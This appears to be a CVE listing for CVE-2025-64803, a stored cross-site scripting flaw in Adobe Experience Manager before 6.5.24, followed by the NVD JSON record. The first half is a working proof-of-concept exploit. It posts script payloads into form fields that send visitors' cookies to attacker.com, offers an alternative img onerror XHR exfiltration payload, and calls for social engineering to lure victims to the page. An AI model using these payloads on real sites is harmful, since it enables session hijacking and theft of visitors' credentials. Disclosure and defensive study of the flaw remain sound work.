CVE-2025-64803

// CVE-2025-64803 PoC - Adobe Experience Manager Stored XSS // Target: Adobe Experience Manager < 6.5.24 // Attack Vector: Inject malicious script into form fields // Step 1: Identify vulnerable form field const vulnerableEndpoint = '/content/forms/af/<form-name>.html'; // Step 2: Prepare XSS payload const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Step 3: Submit form with XSS payload async function exploitXSS() { const formData = new URLSearchParams(); formData.append('field_name', xssPayload); // Inject into vulnerable field formData.append('_charset_', 'UTF-8'); const response = await fetch(vulnerableEndpoint, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': '的低权限会话Cookie' }, body: formData.toString() }); console.log('XSS payload submitted successfully'); console.log('Payload will execute when victim visits the page'); } // Step 4: Social engineering - trick victim to visit the page exploitXSS(); // Alternative: XHR exfiltration payload const advancedPayload = `<img src=x onerror="var xhr=new XMLHttpRequest();xhr.open('GET','https://attacker.com/log?data='+btoa(document.cookie),true);xhr.send()">`;

{"cve": {"id": "CVE-2025-64803", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:29.650", "lastModified": "2025-12-12T18:14:20.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}